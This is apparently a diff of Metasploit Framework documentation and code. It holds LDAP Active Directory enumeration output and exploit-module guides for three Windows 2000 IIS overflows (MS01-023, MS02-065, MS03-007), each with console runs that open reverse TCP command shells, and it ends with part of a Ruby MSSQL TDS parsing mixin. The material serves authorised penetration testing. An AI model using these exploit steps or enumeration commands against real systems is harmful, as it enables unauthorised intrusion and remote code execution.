||||
[*] Running module against 172.20.161.209
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
|
||||
===========================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
distinguishedname CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com
|
||||
dnshostname WIN-F7DQC9SR0HD.daforest.com
|
||||
name WIN-F7DQC9SR0HD
|
||||
operatingsystemversion 10.0 (20348)
|
||||
|
||||
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
|
||||
===============================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Created with secframe.com/badblood.
|
||||
displayname FSRWLPT1000000
|
||||
distinguishedname CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com
|
||||
name FSRWLPT1000000
|
||||
|
||||
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
|
||||
=====================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Created with secframe.com/badblood.
|
||||
displayname TSTWVIR1000000
|
||||
distinguishedname CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com
|
||||
name TSTWVIR1000000
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
|
||||
==========================================================
|
||||
|
||||
Name Attributes
|
||||
---- ----------
|
||||
description Created with secframe.com/badblood.
|
||||
displayname WVIR1000013
|
||||
distinguishedname CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com
|
||||
name WVIR1000013
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### ENUM_COMPUTERS with CSV Output
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
|
||||
ACTION => ENUM_COMPUTERS
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
|
||||
RHOSTS => 172.20.161.209
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT csv
|
||||
OUTPUT_FORMAT => csv
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT csv yes The output format to use (Accepted: csv, table, json)
|
||||
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
|
||||
ng-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
|
||||
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.20.161.209
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] Name,Attributes
|
||||
"dn","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
|
||||
"distinguishedname","CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com"
|
||||
"name","WIN-F7DQC9SR0HD"
|
||||
"operatingsystemversion","10.0 (20348)"
|
||||
"dnshostname","WIN-F7DQC9SR0HD.daforest.com"
|
||||
|
||||
[*] Name,Attributes
|
||||
"dn","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
|
||||
"description","Created with secframe.com/badblood."
|
||||
"distinguishedname","CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com"
|
||||
"displayname","FSRWLPT1000000"
|
||||
"name","FSRWLPT1000000"
|
||||
|
||||
[*] Name,Attributes
|
||||
"dn","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
|
||||
"description","Created with secframe.com/badblood."
|
||||
"distinguishedname","CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com"
|
||||
"displayname","TSTWVIR1000000"
|
||||
"name","TSTWVIR1000000"
|
||||
|
||||
*cut for brevity*
|
||||
|
||||
[*] Name,Attributes
|
||||
"dn","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
|
||||
"description","Created with secframe.com/badblood."
|
||||
"distinguishedname","CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com"
|
||||
"displayname","WVIR1000013"
|
||||
"name","WVIR1000013"
|
||||
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
|
||||
### ENUM_COMPUTERS with JSON Output
|
||||
```
|
||||
msf6 payload(windows/x64/meterpreter/reverse_tcp) > use auxiliary/gather/ldap_query
|
||||
msf6 auxiliary(gather/ldap_query) > set ACTION ENUM_COMPUTERS
|
||||
ACTION => ENUM_COMPUTERS
|
||||
msf6 auxiliary(gather/ldap_query) > set RHOSTS 172.20.161.209
|
||||
RHOSTS => 172.20.161.209
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_PW thePassword123
|
||||
BIND_PW => thePassword123
|
||||
msf6 auxiliary(gather/ldap_query) > set BIND_DN normal@daforest.com
|
||||
BIND_DN => normal@daforest.com
|
||||
msf6 auxiliary(gather/ldap_query) > set OUTPUT_FORMAT json
|
||||
OUTPUT_FORMAT => json
|
||||
msf6 auxiliary(gather/ldap_query) > show options
|
||||
|
||||
Module options (auxiliary/gather/ldap_query):
|
||||
|
||||
Name Current Setting Required Description
|
||||
---- --------------- -------- -----------
|
||||
BASE_DN no LDAP base DN if you already have it
|
||||
BIND_DN normal@daforest.com no The username to authenticate to LDAP server
|
||||
BIND_PW thePassword123 no Password for the BIND_DN
|
||||
OUTPUT_FORMAT json yes The output format to use (Accepted: csv, table, json)
|
||||
RHOSTS 172.20.161.209 yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Usi
|
||||
ng-Metasploit
|
||||
RPORT 389 yes The target port
|
||||
SSL false no Enable SSL on the LDAP connection
|
||||
|
||||
|
||||
Auxiliary action:
|
||||
|
||||
Name Description
|
||||
---- -----------
|
||||
ENUM_COMPUTERS Dump all objects containing an objectCategory of Computer.
|
||||
|
||||
|
||||
msf6 auxiliary(gather/ldap_query) > run
|
||||
[*] Running module against 172.20.161.209
|
||||
|
||||
[+] Successfully bound to the LDAP server!
|
||||
[*] Discovering base DN automatically
|
||||
[+] 172.20.161.209:389 Discovered base DN: DC=daforest,DC=com
|
||||
[*] CN=WIN-F7DQC9SR0HD OU=Domain Controllers DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
|
||||
"distinguishedname": "CN=WIN-F7DQC9SR0HD,OU=Domain Controllers,DC=daforest,DC=com",
|
||||
"name": "WIN-F7DQC9SR0HD",
|
||||
"operatingsystemversion": "10.0 (20348)",
|
||||
"dnshostname": "WIN-F7DQC9SR0HD.daforest.com"
|
||||
}
|
||||
[*] CN=FSRWLPT1000000 OU=Testing DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=FSRWLPT1000000,OU=Testing,DC=daforest,DC=com",
|
||||
"displayname": "FSRWLPT1000000",
|
||||
"name": "FSRWLPT1000000"
|
||||
}
|
||||
[*] CN=TSTWVIR1000000 OU=FSR OU=People DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=TSTWVIR1000000,OU=FSR,OU=People,DC=daforest,DC=com",
|
||||
"displayname": "TSTWVIR1000000",
|
||||
"name": "TSTWVIR1000000"
|
||||
}
|
||||
*cut for brevity*
|
||||
[*] CN=WLPT1000014 OU=AZR OU=Stage DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=WLPT1000014,OU=AZR,OU=Stage,DC=daforest,DC=com",
|
||||
"displayname": "WLPT1000014",
|
||||
"name": "WLPT1000014"
|
||||
}
|
||||
[*] CN=WWKS1000016 OU=T1-Roles OU=Tier 1 OU=Admin DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=WWKS1000016,OU=T1-Roles,OU=Tier 1,OU=Admin,DC=daforest,DC=com",
|
||||
"displayname": "WWKS1000016",
|
||||
"name": "WWKS1000016"
|
||||
}
|
||||
[*] CN=WVIR1000013 OU=Test OU=BDE OU=Tier 2 DC=daforest DC=com
|
||||
{
|
||||
"dn": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
|
||||
"description": "Created with secframe.com/badblood.",
|
||||
"distinguishedname": "CN=WVIR1000013,OU=Test,OU=BDE,OU=Tier 2,DC=daforest,DC=com",
|
||||
"displayname": "WVIR1000013",
|
||||
"name": "WVIR1000013"
|
||||
}
|
||||
[*] Auxiliary module execution completed
|
||||
msf6 auxiliary(gather/ldap_query) >
|
||||
```
|
||||
@@ -0,0 +1,108 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploits a buffer overflow in the request processor of the
|
||||
Internet Printing Protocol ISAPI module in IIS. This module
|
||||
works against Windows 2000 Server and Professional SP0-SP1.
|
||||
|
||||
If the service stops responding after a successful compromise,
|
||||
run the exploit a couple more times to completely kill the
|
||||
hung process.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Professional SP0 (Dutch)
|
||||
* Windows 2000 Professional SP0 (Finnish)
|
||||
* Windows 2000 Professional SP0 (Greek)
|
||||
* Windows 2000 Professional SP0 (Korean)
|
||||
* Windows 2000 Professional SP0 (Turkish)
|
||||
* Windows 2000 Professional SP1 (Arabic)
|
||||
* Windows 2000 Professional SP1 (Czech)
|
||||
* Windows 2000 Professional SP1 (English)
|
||||
* Windows 2000 Professional SP1 (Greek)
|
||||
* Windows 2000 Server SP0 (Chinese)
|
||||
* Windows 2000 Server SP0 (Dutch)
|
||||
* Windows 2000 Server SP0 (English)
|
||||
* Windows 2000 Server SP0 (German)
|
||||
* Windows 2000 Server SP0 (Hungarian)
|
||||
* Windows 2000 Server SP0 (Italian)
|
||||
* Windows 2000 Server SP0 (Portuguese)
|
||||
* Windows 2000 Server SP0 (Spanish)
|
||||
* Windows 2000 Server SP0 (Turkish)
|
||||
* Windows 2000 Server SP1 (English)
|
||||
* Windows 2000 Server SP1 (French)
|
||||
* Windows 2000 Server SP1 (Swedish)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms01_023_printer`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `show targets` to see the possible targets
|
||||
1. `set TARGET [TARGET]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Professional SP1 (EN)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms01_023_printer
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set rhosts 192.168.200.195
|
||||
rhosts => 192.168.200.195
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > check
|
||||
[*] 192.168.200.195:80 - The target appears to be vulnerable.
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > show targets
|
||||
|
||||
Exploit targets:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows 2000 SP0-SP1 (Arabic)
|
||||
1 Windows 2000 SP0-SP1 (Czech)
|
||||
2 Windows 2000 SP0-SP1 (Chinese)
|
||||
3 Windows 2000 SP0-SP1 (Dutch)
|
||||
4 Windows 2000 SP0-SP1 (English)
|
||||
5 Windows 2000 SP0-SP1 (French)
|
||||
6 Windows 2000 SP0-SP1 (Finnish)
|
||||
7 Windows 2000 SP0-SP1 (German)
|
||||
8 Windows 2000 SP0-SP1 (Korean)
|
||||
9 Windows 2000 SP0-SP1 (Hungarian)
|
||||
10 Windows 2000 SP0-SP1 (Italian)
|
||||
11 Windows 2000 SP0-SP1 (Portuguese)
|
||||
12 Windows 2000 SP0-SP1 (Spanish)
|
||||
13 Windows 2000 SP0-SP1 (Swedish)
|
||||
14 Windows 2000 SP0-SP1 (Turkish)
|
||||
15 Windows 2000 Pro SP0 (Greek)
|
||||
16 Windows 2000 Pro SP1 (Greek)
|
||||
|
||||
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set target 4
|
||||
target => 4
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set payload windows/shell/reverse_tcp
|
||||
payload => windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms01_023_printer) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Using target: Windows 2000 SP0-SP1 (English) ...
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.195
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1168) at 2022-07-08 11:07:42 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
C:\WINNT\system32>ver
|
||||
ver
|
||||
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
```
|
||||
@@ -0,0 +1,90 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This module can be used to execute arbitrary code on IIS servers
|
||||
that expose the /msadc/msadcs.dll Microsoft Data Access Components
|
||||
(MDAC) Remote Data Service (RDS) DataFactory service. The service is
|
||||
exploitable even when RDS is configured to deny remote connections
|
||||
(handsafe.reg). The service is vulnerable to a heap overflow where
|
||||
the RDS DataStub 'Content-Type' string is overly long. Microsoft Data
|
||||
Access Components (MDAC) 2.1 through 2.6 are known to be vulnerable.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Pro SP0-SP3 (English)
|
||||
* Windows 2000 Pro SP0 (Korean)
|
||||
* Windows 2000 Pro SP0 (Dutch)
|
||||
* Windows 2000 Pro SP0 (Finnish)
|
||||
* Windows 2000 Pro SP0 (Turkish)
|
||||
* Windows 2000 Pro SP0-SP1 (Greek)
|
||||
* Windows 2000 Pro SP1 (Arabic)
|
||||
* Windows 2000 Pro SP1 (Czech)
|
||||
* Windows 2000 Pro SP2 (French)
|
||||
* Windows 2000 Pro SP2 (Portuguese)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms02_065_msadc`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `show targets` to see the possible targets
|
||||
1. `set TARGET [TARGET]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
### TARGETURI
|
||||
|
||||
The path to `msadcs.dll` (Default: `/msadc/msadcs.dll`)
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Professional SP3 (EN)
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms02_065_msadc
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > set rhosts 192.168.200.186
|
||||
rhosts => 192.168.200.186
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > show targets
|
||||
|
||||
Exploit targets:
|
||||
|
||||
Id Name
|
||||
-- ----
|
||||
0 Windows 2000 Pro SP0-SP3 (English)
|
||||
1 Windows 2000 Pro SP0 (Korean)
|
||||
2 Windows 2000 Pro SP0 (Dutch)
|
||||
3 Windows 2000 Pro SP0 (Finnish)
|
||||
4 Windows 2000 Pro SP0 (Turkish)
|
||||
5 Windows 2000 Pro SP0-SP1 (Greek)
|
||||
6 Windows 2000 Pro SP1 (Arabic)
|
||||
7 Windows 2000 Pro SP1 (Czech)
|
||||
8 Windows 2000 Pro SP2 (French)
|
||||
9 Windows 2000 Pro SP2 (Portuguese)
|
||||
|
||||
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > set target 0
|
||||
target => 0
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > check
|
||||
[*] 192.168.200.186:80 - The service is running, but could not be validated. /msadc/msadcs.dll content type matches fingerprint application/x-varg
|
||||
msf6 exploit(windows/iis/ms02_065_msadc) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.186
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.186:1028) at 2022-07-07 10:13:35 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
C:\WINNT\system32>ver
|
||||
ver
|
||||
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
```
|
||||
@@ -0,0 +1,105 @@
|
||||
## Vulnerable Application
|
||||
|
||||
This exploits a buffer overflow in NTDLL.dll on Windows 2000
|
||||
through the SEARCH WebDAV method in IIS. This particular
|
||||
module only works against Windows 2000. It should have a
|
||||
reasonable chance of success against SP0 to SP3.
|
||||
|
||||
This module has been tested successfully on:
|
||||
|
||||
* Windows 2000 Professional SP0 (EN)
|
||||
* Windows 2000 Professional SP0 (FI)
|
||||
* Windows 2000 Professional SP0 (NL)
|
||||
* Windows 2000 Professional SP0 (TR)
|
||||
* Windows 2000 Professional SP1 (AR)
|
||||
* Windows 2000 Professional SP1 (CZ)
|
||||
* Windows 2000 Professional SP1 (EN)
|
||||
* Windows 2000 Professional SP2 (EN)
|
||||
* Windows 2000 Professional SP2 (FR)
|
||||
* Windows 2000 Professional SP2 (PT)
|
||||
* Windows 2000 Professional SP3 (EN)
|
||||
* Windows 2000 Server SP0 (DE)
|
||||
* Windows 2000 Server SP0 (EN)
|
||||
* Windows 2000 Server SP0 (ES)
|
||||
* Windows 2000 Server SP0 (FR)
|
||||
* Windows 2000 Server SP0 (HU)
|
||||
* Windows 2000 Server SP0 (NL)
|
||||
* Windows 2000 Server SP0 (PT)
|
||||
* Windows 2000 Server SP0 (TR)
|
||||
* Windows 2000 Server SP1 (EN)
|
||||
* Windows 2000 Server SP1 (SE)
|
||||
* Windows 2000 Server SP2 (EN)
|
||||
* Windows 2000 Server SP2 (RU)
|
||||
* Windows 2000 Server SP3 (DE)
|
||||
* Windows 2000 Server SP3 (IT)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. `use exploit/windows/iis/ms03_007_ntdll_webdav`
|
||||
1. `set RHOSTS [IP]`
|
||||
1. `set PAYLOAD windows/shell/reverse_tcp`
|
||||
1. `set LHOST [IP]`
|
||||
1. `run`
|
||||
|
||||
## Options
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Windows 2000 Professional SP1 (EN)
|
||||
|
||||
|
||||
```
|
||||
msf6 > use exploit/windows/iis/ms03_007_ntdll_webdav
|
||||
[*] Using configured payload windows/shell/reverse_tcp
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set rhosts 192.168.200.195
|
||||
rhosts => 192.168.200.195
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > set lhost 192.168.200.130
|
||||
lhost => 192.168.200.130
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > check
|
||||
[+] 192.168.200.195:80 - The target is vulnerable. We've hit a server error (exception)
|
||||
msf6 exploit(windows/iis/ms03_007_ntdll_webdav) > run
|
||||
|
||||
[*] Started reverse TCP handler on 192.168.200.130:4444
|
||||
[*] Trying return address 0x004e004f (1 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[-] Connection failed (3 of 20)...
|
||||
[-] Connection failed (4 of 20)...
|
||||
[*] Trying return address 0x00ce004f (2 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[*] Trying return address 0x00ce0041 (3 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[-] Connection failed (3 of 20)...
|
||||
[-] Connection failed (4 of 20)...
|
||||
[*] Trying return address 0x00430041 (4 / 88)...
|
||||
[-] Attempt failed: Connection reset by peer
|
||||
[*] Checking if IIS is back up after a failed attempt...
|
||||
[-] Connection failed (1 of 20)...
|
||||
[-] Connection failed (2 of 20)...
|
||||
[*] Trying return address 0x00b40041 (5 / 88)...
|
||||
[*] Encoded stage with x86/shikata_ga_nai
|
||||
[*] Sending encoded stage (267 bytes) to 192.168.200.195
|
||||
[*] Command shell session 1 opened (192.168.200.130:4444 -> 192.168.200.195:1066) at 2022-07-07 06:13:21 -0400
|
||||
|
||||
|
||||
Shell Banner:
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
-----
|
||||
|
||||
|
||||
C:\WINNT\system32>ver
|
||||
ver
|
||||
|
||||
Microsoft Windows 2000 [Version 5.00.2195]
|
||||
|
||||
C:\WINNT\system32>
|
||||
```
|
||||
@@ -0,0 +1,354 @@
|
||||
module Metasploit
|
||||
module Framework
|
||||
module MSSQL
|
||||
|
||||
# A base mixin of useful mssql methods for parsing structures etc
|
||||
module Base
|
||||
|
||||
# Encryption
|
||||
ENCRYPT_OFF = 0x00 #Encryption is available but off.
|
||||
ENCRYPT_ON = 0x01 #Encryption is available and on.
|
||||
ENCRYPT_NOT_SUP = 0x02 #Encryption is not available.
|
||||
ENCRYPT_REQ = 0x03 #Encryption is required.
|
||||
|
||||
# Packet Type
|
||||
TYPE_SQL_BATCH = 1 # (Client) SQL command
|
||||
TYPE_PRE_TDS7_LOGIN = 2 # (Client) Pre-login with version < 7 (unused)
|
||||
TYPE_RPC = 3 # (Client) RPC
|
||||
TYPE_TABLE_RESPONSE = 4 # (Server) Pre-Login Response ,Login Response, Row Data, Return Status, Return Parameters,
|
||||
# Request Completion, Error and Info Messages, Attention Acknowledgement
|
||||
TYPE_ATTENTION_SIGNAL = 6 # (Client) Attention
|
||||
TYPE_BULK_LOAD = 7 # (Client) SQL Command with binary data
|
||||
TYPE_TRANSACTION_MANAGER_REQUEST = 14 # (Client) Transaction request manager
|
||||
TYPE_TDS7_LOGIN = 16 # (Client) Login
|
||||
TYPE_SSPI_MESSAGE = 17 # (Client) Login
|
||||
TYPE_PRE_LOGIN_MESSAGE = 18 # (Client) pre-login with version > 7
|
||||
|
||||
# Status
|
||||
STATUS_NORMAL = 0x00
|
||||
STATUS_END_OF_MESSAGE = 0x01
|
||||
STATUS_IGNORE_EVENT = 0x02
|
||||
STATUS_RESETCONNECTION = 0x08 # TDS 7.1+
|
||||
STATUS_RESETCONNECTIONSKIPTRAN = 0x10 # TDS 7.3+
|
||||
|
||||
#
|
||||
# Send and receive using TDS
|
||||
#
|
||||
def mssql_send_recv(req, timeout=15, check_status = true)
|
||||
sock.put(req)
|
||||
|
||||
# Read the 8 byte header to get the length and status
|
||||
# Read the length to get the data
|
||||
# If the status is 0, read another header and more data
|
||||
|
||||
done = false
|
||||
resp = ""
|
||||
|
||||
while(not done)
|
||||
head = sock.get_once(8, timeout)
|
||||
if !(head && head.length == 8)
|
||||
return false
|
||||
end
|
||||
|
||||
# Is this the last buffer?
|
||||
if head[1, 1] == "\x01" || !check_status
|
||||
done = true
|
||||
end
|
||||
|
||||
# Grab this block's length
|
||||
rlen = head[2, 2].unpack('n')[0] - 8
|
||||
|
||||
while(rlen > 0)
|
||||
buff = sock.get_once(rlen, timeout)
|
||||
return if not buff
|
||||
resp << buff
|
||||
rlen -= buff.length
|
||||
end
|
||||
end
|
||||
|
||||
resp
|
||||
end
|
||||
|
||||
#
|
||||
# Encrypt a password according to the TDS protocol (encode)
|
||||
#
|
||||
def mssql_tds_encrypt(pass)
|
||||
# Convert to unicode, swap 4 bits both ways, xor with 0xa5
|
||||
Rex::Text.to_unicode(pass).unpack('C*').map {|c| (((c & 0x0f) << 4) + ((c & 0xf0) >> 4)) ^ 0xa5 }.pack("C*")
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a raw TDS reply from the server
|
||||
#
|
||||
def mssql_parse_tds_reply(data, info)
|
||||
info[:errors] ||= []
|
||||
info[:colinfos] ||= []
|
||||
info[:colnames] ||= []
|
||||
|
||||
# Parse out the columns
|
||||
cols = data.slice!(0, 2).unpack('v')[0]
|
||||
0.upto(cols-1) do |col_idx|
|
||||
col = {}
|
||||
info[:colinfos][col_idx] = col
|
||||
|
||||
col[:utype] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:flags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:type] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
case col[:type]
|
||||
when 48
|
||||
col[:id] = :tinyint
|
||||
|
||||
when 52
|
||||
col[:id] = :smallint
|
||||
|
||||
when 56
|
||||
col[:id] = :rawint
|
||||
|
||||
when 61
|
||||
col[:id] = :datetime
|
||||
|
||||
when 34
|
||||
col[:id] = :image
|
||||
col[:max_size] = data.slice!(0, 4).unpack('V')[0]
|
||||
col[:value_length] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:value] = data.slice!(0, col[:value_length] * 2).gsub("\x00", '')
|
||||
|
||||
when 36
|
||||
col[:id] = :string
|
||||
|
||||
when 38
|
||||
col[:id] = :int
|
||||
col[:int_size] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
when 127
|
||||
col[:id] = :bigint
|
||||
|
||||
when 165
|
||||
col[:id] = :hex
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 173
|
||||
col[:id] = :hex # binary(2)
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
|
||||
when 231, 175, 167, 239
|
||||
col[:id] = :string
|
||||
col[:max_size] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:codepage] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:cflags] = data.slice!(0, 2).unpack('v')[0]
|
||||
col[:charset_id] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
else
|
||||
col[:id] = :unknown
|
||||
end
|
||||
|
||||
col[:msg_len] = data.slice!(0, 1).unpack('C')[0]
|
||||
|
||||
if col[:msg_len] && col[:msg_len] > 0
|
||||
col[:name] = data.slice!(0, col[:msg_len] * 2).gsub("\x00", '')
|
||||
end
|
||||
info[:colnames] << (col[:name] || 'NULL')
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Parse individual tokens from a TDS reply
|
||||
#
|
||||
def mssql_parse_reply(data, info)
|
||||
info[:errors] = []
|
||||
return if not data
|
||||
until data.empty?
|
||||
token = data.slice!(0, 1).unpack('C')[0]
|
||||
case token
|
||||
when 0x81
|
||||
mssql_parse_tds_reply(data, info)
|
||||
when 0xd1
|
||||
mssql_parse_tds_row(data, info)
|
||||
when 0xe3
|
||||
mssql_parse_env(data, info)
|
||||
when 0x79
|
||||
mssql_parse_ret(data, info)
|
||||
when 0xfd, 0xfe, 0xff
|
||||
mssql_parse_done(data, info)
|
||||
when 0xad
|
||||
mssql_parse_login_ack(data, info)
|
||||
when 0xab
|
||||
mssql_parse_info(data, info)
|
||||
when 0xaa
|
||||
mssql_parse_error(data, info)
|
||||
when nil
|
||||
break
|
||||
else
|
||||
info[:errors] << "unsupported token: #{token}"
|
||||
end
|
||||
end
|
||||
info
|
||||
end
|
||||
|
||||
#
|
||||
# Parse a single row of a TDS reply
|
||||
#
|
||||
def mssql_parse_tds_row(data, info)
|
||||
info[:rows] ||= []
|
||||
row = []
|
||||
|
||||
info[:colinfos].each do |col|
|
||||
|
||||
if(data.length == 0)
|
||||
row << "<EMPTY>"
|
||||
next
|
||||
